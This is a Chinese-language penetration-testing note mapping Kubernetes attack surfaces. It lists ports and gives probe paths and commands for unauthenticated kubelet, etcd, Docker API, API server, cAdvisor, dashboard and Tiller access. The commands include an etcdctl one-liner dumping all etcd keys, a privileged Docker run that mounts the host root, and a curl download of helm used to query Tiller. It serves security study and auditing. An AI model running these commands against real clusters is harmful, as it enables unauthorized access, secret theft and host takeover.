K8S攻击面梳理
如何识别K8S
通过一些常见的开放服务端口,可以判断是否跑了K8S服务,端口列表如下:
Control-plane Node(s)
Port | Purpose | Note |
---|---|---|
443/TCP | Kube API Server | Kubernetes API Port |
6443/TCP | Kube API Server | Kubernetes API Port |
8443/TCP | Kube API Server | Minikube API Port |
8080/TCP | Kube API Server | Insecure K8s API Port |
2379/TCP | etcd Client Server | etcd Storage |
2380/TCP | etcd Client Server | etcd Storage |
6666/TCP | etcd Client Server | etcd Storage |
4194/TCP | cAdvisor | Container Matrics |
10250/TCP | Kubelet API | |
10251/TCP | Kube-scheduler | |
10252/TCP | controller-manager | |
9099/TCP | Calico-felix | Health check Calico server |
6782-4/TCP | Weave | Metrics and endpoints |
Worker Node(s)
Port | Purpose | Note |
---|---|---|
10250 | Kubelet API | |
30000-32767/TCP | NodePort Service |
外部视角如何攻击K8S
Kubelet未授权
10250/tcp - kubelet (kubelet exploit)
验证未授权,可以尝试访问以下路径:
/pods
/runningpods
/containerLogs
其次是默认10255端口,只读权限:
10255/tcp - kubelet port (read-only)
尝试通过以下路径获取信息:
/stats
/metrics
/pods
etcd未授权
2379/tcp - etcd (see it on other ports though)
可通过以下路径判断未授权:
/version
/v2/keys
Etcd存放了大量敏感配置信息,从 https://github.com/etcd-io/etcd/releases/ 下载得到etcdctl
。
ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=http://IP:2379 get {} >> output.data && echo "" >> output.data'
Docker Remote API未授权
2375/tcp docker
通过访问/info
路径查看响应中是否含有关键词:"kind": "APIResourceList"
。
docker -H tcp://IP:2375 ps
docker -H tcp://IP:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
Docker Registry v2 API未授权
8080/tcp Docker Registry (API: 2.0)
可通过访问/v2/_catalog
路径判断未授权。
Kubernetes API Server未授权
443/6443 - Kube API Server
通过访问/api/v1
路径查看响应中是否含有ContainersRunning
、DockerRootDir
等关键词。
/api
/api/v1
/apis
/apis/
/apis/apps
/apis/apps/v1
/apis/autoscaling
/apis/autoscaling/v1
/apis/batch
/apis/batch/v1
...
cAdvisor未授权
4194/tcp - cAdvisor
尝试访问/api/v2.0/spec?recursive=true
以JSON格式输出在主机上运行的所有容器的规范。
攻击dashboard
30000 - dashboard
默认情况下, dashboard是需要进行鉴权操作的,当用户开启了enable-skip-login
时可以在登录界面点击Skip
跳过登录进入dashboard。
如何利用正在运行的Pod
获取shell
后,很容易确认这是个在Kubernetes
上运行的容器:
ls -l /.dockerenv
env | grep -i kube
攻击Helm
44134/tcp - Helmtiller, weave, calico
Helm
与Kubernetes
集群通信的方式是通过gRPC
到Tiller-deploy pod
。
然后 pod 使用其服务帐户令牌与 Kubernetes API 对话。
当Helm从客户端运行命令时,在后台会打开一个端口转发到集群中以直接与Tiller-deploy
服务对话,该服务始终指向44134/TCP
上的Tiller-deploy pod
。
export HVER=v2.11.0
curl -L "https://storage.googleapis.com/kubernetes-helm/helm-${HVER}-linux-amd64.tar.gz" | tar xz --strip-components=1 -C /tmp linux-amd64/helm
/tmp/helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls